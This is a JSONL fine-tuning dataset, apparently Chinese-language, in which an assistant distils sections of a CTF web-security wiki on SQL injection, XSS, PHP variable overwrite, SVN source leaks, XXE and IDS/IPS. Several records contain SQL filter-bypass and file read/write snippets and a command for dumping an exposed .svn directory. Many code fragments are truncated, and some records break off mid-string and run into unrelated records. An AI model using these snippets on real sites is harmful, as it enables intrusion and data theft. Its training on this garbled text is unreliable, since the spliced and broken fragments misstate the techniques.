1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "列名", "heading_path": ["SQL 注入", "注入语句备忘", "列名"], "original_id": "docs-447205eb11e7b633c7b3", "original_line": 1603, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "9469b9c44ab16c9c6e2182ee", "subcategory": "web/sqli.md", "terms": ["SQL注入", "修复/缓解", "漏洞利用", "web", "sqli.md", "code:sql"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-7b7cc929751a1491a9c2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/resources.md` 中的章节「学习路线」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/resources.md`\n标题：学习资源\n章节：学习资源 > 学习路线\n路径分类：introduction / introduction/resources.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“学习路线”展开。\n- 知道创宇研发技能表 v3.1 - 漏洞银行(BUGBANK)技能树 - 安全技能树简版 by 余弦 - 安全类思维导图 by phith0n - 信息安全从业者书单推荐 - CTFHub 技能树\n\n关键术语：\n- 漏洞利用\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 364, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "web", "heading": "学习路线", "heading_path": ["学习资源", "学习路线"], "original_id": "docs-f9dfb40ccad875eb2f06", "original_line": 29, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "source_root": "docs", "source_sha256": "d3892e2b624b44c03ec86cb7376f409acb7757eefe87c0ddf9493d92019297fc", "split": "train", "split_group_key": "459438df3b5ae61bb1e2bf7c", "subcategory": "introduction/resources.md", "terms": ["漏洞利用", "resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-8482e2f020de3ba260e2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「parse_str() 变量覆盖」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 变量覆盖 > parse_str() 变量覆盖\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“parse_str() 变量覆盖”展开。\n- `` void parse_str ( string $str [, array &$arr ]) ` parse_str() 函数通常用于解析 URL 中的 querystring，但是当参数值可以被用户控制时，很可能导致变量覆盖。\n- parse_str($_SERVER[\"QUERY_STRING\"]);\n- ` 与 parse_str() 类似的函数还有 mb_parse_str()`。\n- var=new 变量覆盖 $var = \"init\";\n\n关键术语：\n- web\n- php\n- php.md\n- code:php\n\n代码/命令片段线索：\n- plain: 1 行，首行 `void parse_str ( string $str [, array &$arr ])`\n- php: 4 行，首行 `// var.php?var=new 变量覆盖`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 266, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "parse_str() 变量覆盖", "heading_path": ["PHP 代码审计", "变量覆盖", "parse_str() 变量覆盖"], "original_id": "docs-babd62220710c3742421", "original_line": 88, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "84ba29fdc4ceaeaae7844a58", "subcategory": "web/php/php.md", "terms": ["web", "php", "php.md", "code:php"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-87506a77eee2cd28b669", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「构造 _GET 读取」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 命令执行 > preg_match 代码执行 > 构造 _GET 读取\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“构造 _GET 读取”展开。\n- > ` 输出结果为： [图片文件: ./figure/preg_match/answer5.png] 所以我们可以知道， _GET` 就是这么被构造出来的啦！\n- 这里可以使用php中可以执行命令的反引号 ` 和 Linux 下面的通配符 ?\n- 首先我们得知道 _GET 由什么异或而来的，经过我的尝试与分析，我得出了下面的结论： ``  ` 输出结果为： [图片文件: ./figure/preg_match/answer3.png] `  ` 输出结果为： [图片文件: ./figure/preg_match/answer4.png] `  CTF OJ\n路径分类：introduction / introduction/resources.md\n分块：1/1\n\n核心知识点：\n- XCTF OJ - CTF大本营 - pwnhub - 南邮网络攻防训练平台 - HackingLab 网络信息安全攻防学习平台 - BugkuCTF - WeChall - Sniper OJ - Jarvis OJ - CTF Learn - Hackme CTF - Practice CTF List - CTFHub 真题复现\n\n关键术语：\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 562, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "CTF OJ", "heading_path": ["学习资源", "CTF OJ"], "original_id": "docs-602039711811281f3dd3", "original_line": 535, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "source_root": "docs", "source_sha256": "d3892e2b624b44c03ec86cb7376f409acb7757eefe87c0ddf9493d92019297fc", "split": "train", "split_group_key": "bd74e470ae03a8ea6c0047d3", "subcategory": "introduction/resources.md", "terms": ["resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-8b1314be27a7187e9270", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/xss.md` 中的章节「钓鱼」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/xss.md`\n标题：XSS\n章节：XSS > XSS 利用方式 > 钓鱼\n路径分类：web / web/xss.md\n分块：1/1\n\n核心知识点：\n- search=\"'> ` - HTML 注入式钓鱼 使用 XSS 漏洞注入 HTML 或 JavaScript 代码到页面中。\n- search='>`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 891, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "钓鱼", "heading_path": ["XSS", "XSS 利用方式", "钓鱼"], "original_id": "docs-9e93da7acddf1105f087", "original_line": 1621, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "source_root": "docs", "source_sha256": "01c58de2e9fa97ce088b50c08e6c2dbc3d6d4422e0aff075e8101572c4056af2", "split": "train", "split_group_key": "f8193f0275e4d2d153fcce9d", "subcategory": "web/xss.md", "terms": ["XSS", "漏洞利用", "web", "xss.md"], "title": "XSS"}, "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-8b539786dd66c3aa22f0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/sqli.md` 中的章节「注入常见参数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/sqli.md`\n标题：SQL 注入\n章节：SQL 注入 > 注入常见参数\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“注入常见参数”展开。\n- user()：当前数据库用户 - database()：当前数据库名 - version()：当前使用的数据库版本 - @@datadir：数据库存储数据路径 - concat()：联合数据，用于联合两条数据结果。\n- 如 concat(username,0x3a,password) - group_concat()：和 concat() 类似，如 group_concat(DISTINCT+user,0x3a,password)，用于把多条数据一次注入出来 - concat_ws()：用法类似 - hex() 和 unhex()：用于 hex 编码解码 - load_file()：以文本方式读取文件，在 Windows 中，路径设置为 \\\\ - select xxoo into outfile '路径'：权限较高时可直接写文件\n\n关键术语：\n- SQL注入\n- web\n- sqli.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 398, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "注入常见参数", "heading_path": ["SQL 注入", "注入常见参数"], "original_id": "docs-c3e8d3ad84cfe0fd10ec", "original_line": 87, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "5b7a4bc26f78811f37a48e85", "subcategory": "web/sqli.md", "terms": ["SQL注入", "web", "sqli.md"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-8e0cdec66ae97acb33a8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/sqli.md` 中的章节「行内注释」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/sqli.md`\n标题：SQL 注入\n章节：SQL 注入 > 语法参考与小技巧 > 行内注释\n路径分类：web / web/sqli.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“行内注释”展开。\n- /注释内容/ ``sql DROP/comment/sampletable DR/*/OP/绕过过滤/sampletable SELECT/替换空格/password//FROM//Members ` - /!\n- MYSQL专属 / `sql SELECT /!\n- 32302 1/0, */ 1 FROM tablename ``\n\n关键术语：\n- SQL注入\n- ROP/JOP\n- web\n- sqli.md\n- code:sql\n\n代码/命令片段线索：\n- sql: 1 行，首行 `DROP/*comment*/sampletable` DR/**/OP/*绕过过滤*/sampletable` SELECT/*替换空格*/password/**/FROM/**/Members`\n- sql: 1 行，首行 `SELECT /*!32302 1/0, */ 1 FROM tablename`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 202, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "行内注释", "heading_path": ["SQL 注入", "语法参考与小技巧", "行内注释"], "original_id": "docs-430c35a7f6dd0339a1a6", "original_line": 1600, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "source_root": "docs", "source_sha256": "be5dea4bf82befe236d2262765c505cd19fb2f226f80a3590006ab5a9c973372", "split": "train", "split_group_key": "ebe1cab1488254cff5a09912", "subcategory": "web/sqli.md", "terms": ["SQL注入", "ROP/JOP", "web", "sqli.md", "code:sql"], "title": "SQL 注入"}, "source_dataset": "docs_distilled_v1", "source_path": "web/sqli.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-a31b3405b574a5a9dd6e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/resources.md` 中的章节「CTF 工具」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/resources.md`\n标题：学习资源\n章节：学习资源 > CTF 工具\n路径分类：introduction / introduction/resources.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“CTF 工具”展开。\n- 看雪工具 - 吾爱破解工具 - CTF在线工具 by CTFcode - CTF在线工具箱 by bugku - CTF工具资源库 by HBCTF team - ctf-tools by zardus - The Cyber Swiss Army Knife - CTFHub 工具库\n\n关键术语：\n- resources.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 399, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "CTF 工具", "heading_path": ["学习资源", "CTF 工具"], "original_id": "docs-df69272027a572d50d7d", "original_line": 536, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "source_root": "docs", "source_sha256": "d3892e2b624b44c03ec86cb7376f409acb7757eefe87c0ddf9493d92019297fc", "split": "train", "split_group_key": "7d48bb2f5a281730b00124d5", "subcategory": "introduction/resources.md", "terms": ["resources.md"], "title": "学习资源"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/resources.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-a4f1dca5ffd9b8c6faf1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/introduction.md` 中的章节「TLS 投毒」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/introduction.md`\n标题：Web 简介\n章节：Web 简介 > TLS 投毒\n路径分类：web / web/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“TLS 投毒”展开。\n- 在 TLS 协议中，存在一种会话复用机制，当支持该类特性的客户端访问了恶意 TLS 服务器后，客户端会存储恶意服务器下发的 Session ，在客户端重用会话时，配合 DNS Rebinding 可以实现让客户端发送恶意 Session 至内网服务，从而达到 SSRF 攻击效果，包括可以任意写入 Memcached 等内网服务，进而配合其他漏洞造成 RCE 等危害。\n\n关键术语：\n- RCE\n- SSRF\n- 漏洞利用\n- web\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 184, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "TLS 投毒", "heading_path": ["Web 简介", "TLS 投毒"], "original_id": "docs-f0a90bdd54dc11feba2b", "original_line": 1594, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "source_root": "docs", "source_sha256": "d72332ca22133d3da8dcb78632850a7f3f6343c7a8e8015ade8fe5824e3bfc60", "split": "train", "split_group_key": "fe3b602c4fe2448b7c1a330a", "subcategory": "web/introduction.md", "terms": ["RCE", "SSRF", "漏洞利用", "web", "introduction.md"], "title": "Web 简介"}, "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-aa3f78a9aca0ae8d6409", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/introduction.md` 中的章节「XXE」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/introduction.md`\n标题：Web 简介\n章节：Web 简介 > XXE\n路径分类：web / web/introduction.md\n分块：1/1\n\n核心知识点：\n- XXE Injection 即 XML External Entity Injection，也就是 XML 外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。\n- 在 XML 1.0 标准里，XML 文档结构⾥里定义了实体（entity）这个概念.实体可以通过预定义在文档中调用，实体的标识符可访问本地或远程内容.如果在这个过程中引入了「污染」源，在对 XML 文档处理后则可能导致信息泄漏等安全问题。\n\n关键术语：\n- 漏洞利用\n- web\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 213, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "XXE", "heading_path": ["Web 简介", "XXE"], "original_id": "docs-260d9cead7ce064533f6", "original_line": 1592, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "source_root": "docs", "source_sha256": "d72332ca22133d3da8dcb78632850a7f3f6343c7a8e8015ade8fe5824e3bfc60", "split": "train", "split_group_key": "a3b3bbed4701cd0596173643", "subcategory": "web/introduction.md", "terms": ["漏洞利用", "web", "introduction.md"], "title": "Web 简介"}, "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-af480a29e5ead7266b47", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/xss.md` 中的章节「DOM XSS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/xss.md`\n标题：XSS\n章节：XSS > XSS 简介 > DOM XSS\n路径分类：web / web/xss.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“DOM XSS”展开。\n- a= `` 即可触发 XSS 漏洞。\n- 传统的 XSS 漏洞一般出现在服务器端代码中，而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞，所以，受客户端浏览器的脚本代码所影响。\n- 客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型，因此能够决定用于加载当前页面的 URL。\n- 用户在客户端输入的数据如果包含了恶意 JavaScript 脚本，而这些脚本没有经过适当的过滤和消毒，那么应用程序就可能受到基于 DOM 的 XSS 攻击。\n- HTML 代码： ``html   DOM-XSS test   `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 654, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "web", "heading": "DOM XSS", "heading_path": ["XSS", "XSS 简介", "DOM XSS"], "original_id": "docs-bc52e5663e049f1ed1f4", "original_line": 1618, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "source_root": "docs", "source_sha256": "01c58de2e9fa97ce088b50c08e6c2dbc3d6d4422e0aff075e8101572c4056af2", "split": "train", "split_group_key": "607deedcb1096f8467664019", "subcategory": "web/xss.md", "terms": ["XSS", "AI安全", "漏洞利用", "web", "xss.md", "code:html"], "title": "XSS"}, "source_dataset": "docs_distilled_v1", "source_path": "web/xss.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-bb6cb7abae72fba1c7a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/php/php.md` 中的章节「SVN 泄露」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/php/php.md`\n标题：PHP 代码审计\n章节：PHP 代码审计 > 寻找源代码备份 > SVN 泄露\n路径分类：web / web/php/php.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“SVN 泄露”展开。\n- 敏感文件： `` /.svn /.svn/wc.db /.svn/entries ` dvcs-ripper `shell perl rip-svn.pl -v -u http://www.example.com/.svn/ `` Seay - SVN\n\n关键术语：\n- web\n- php\n- php.md\n- code:shell\n\n代码/命令片段线索：\n- plain: 3 行，首行 `/.svn`\n- shell: 1 行，首行 `perl rip-svn.pl -v -u http://www.example.com/.svn/`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 214, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "SVN 泄露", "heading_path": ["PHP 代码审计", "寻找源代码备份", "SVN 泄露"], "original_id": "docs-458049a4ef906b12cd4f", "original_line": 1641, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "source_root": "docs", "source_sha256": "2316f59794a074b2acecf6bb1cf9782cc5c6ef394554e4d96172c0e9488d4635", "split": "train", "split_group_key": "020c92ffac29441cf02426cd", "subcategory": "web/php/php.md", "terms": ["web", "php", "php.md", "code:shell"], "title": "PHP 代码审计"}, "source_dataset": "docs_distilled_v1", "source_path": "web/php/php.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-bed8a2d78b3d010d5a25", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/introduction.md` 中的章节「IPS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/introduction.md`\n标题：Web 简介\n章节：Web 简介 > IPS\n路径分类：web / web/introduction.md\n分块：1/1\n\n核心知识点：\n- 入侵防御系统（IPS：Intrusion Prevention System）是电脑网络安全设施，是对防病毒软件（Antivirus Programs）和防火墙（Packet Filter，Application Gateway）的补充。\n- 入侵预防系统（Intrusion-prevention system）是一部能够监视网络或网络设备的网络资料传输行为的计算机网络安全设备，能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络资料传输行为。\n\n关键术语：\n- web\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 223, "chunk_count": 1, "chunk_index": 0, "ctf_score": 20, "ctf_task_type": "web", "heading": "IPS", "heading_path": ["Web 简介", "IPS"], "original_id": "docs-284e9cd7775e275d5052", "original_line": 1597, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "source_root": "docs", "source_sha256": "d72332ca22133d3da8dcb78632850a7f3f6343c7a8e8015ade8fe5824e3bfc60", "split": "train", "split_group_key": "3683a27053306c6ec4ea215b", "subcategory": "web/introduction.md", "terms": ["web", "introduction.md"], "title": "Web 简介"}, "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-c13d4a34129918b09fca", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/introduction.md` 中的章节「IDS」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/introduction.md`\n标题：Web 简介\n章节：Web 简介 > IDS\n路径分类：web / web/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“IDS”展开。\n- 专业上讲就是依照一定的安全策略，通过软、硬件，对网络、系统的运行状况进行监视，尽可能发现各种攻击企图、攻击行为或者攻击结果，以保证网络系统资源的机密性、完整性和可用性。\n- 一旦小偷爬窗进入大楼，或内部人员有越界行为，只有实时监视系统才能发现情况并发出警告。\n- IDS 是英文 Intrusion Detection Systems 的缩写，中文意思是「入侵检测系统」。\n- 做一个形象的比喻：假如防火墙是一幢大楼的门锁，那么 IDS 就是这幢大楼里的监视系统。\n\n关键术语：\n- 边界/溢出\n- 漏洞利用\n- web\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "web", "chars": 223, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "web", "heading": "IDS", "heading_path": ["Web 简介", "IDS"], "original_id": "docs-7fd171b4ee44fb0d6f18", "original_line": 1596, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "source_root": "docs", "source_sha256": "d72332ca22133d3da8dcb78632850a7f3f6343c7a8e8015ade8fe5824e3bfc60", "split": "train", "split_group_key": "20f3bbd369185831d61234d3", "subcategory": "web/introduction.md", "terms": ["边界/溢出", "漏洞利用", "web", "introduction.md"], "title": "Web 简介"}, "source_dataset": "docs_distilled_v1", "source_path": "web/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "web", "ctf_task_type": "web", "dataset": "ctf-dataset", "id": "ctf-lora-c6d1a47743a1347909b7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/web/xss.md` 中的章节「Cookies 窃取」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/web/xss.md`\n标题：XSS\n章节：XSS > XSS 利用方式 > Cookies 窃取\n路径分类：web / web/xss.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Cookies 窃取”展开。\n- 攻击者可以使用以下代码获取客户端的 Cookies 信息： ``html  `\n- asp: 9 行，首行 `<%`\n- php: 6 行，首行 ` CSRF 跨站请求伪造\n路径分类：web / web/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“CSRF 跨站请求伪造”展开。\n- 跨站请求伪造（Cross-Site Request Forgery，CSRF）是一种使已登录用户在不知情的情况下执行某种动作的攻击。\n- 因为攻击者看不到伪造请求的响应结果，所以 CSRF 攻击主要用来执行动作，而非窃取用户数据。\n- 当受害者是一个普通用户时，CSRF 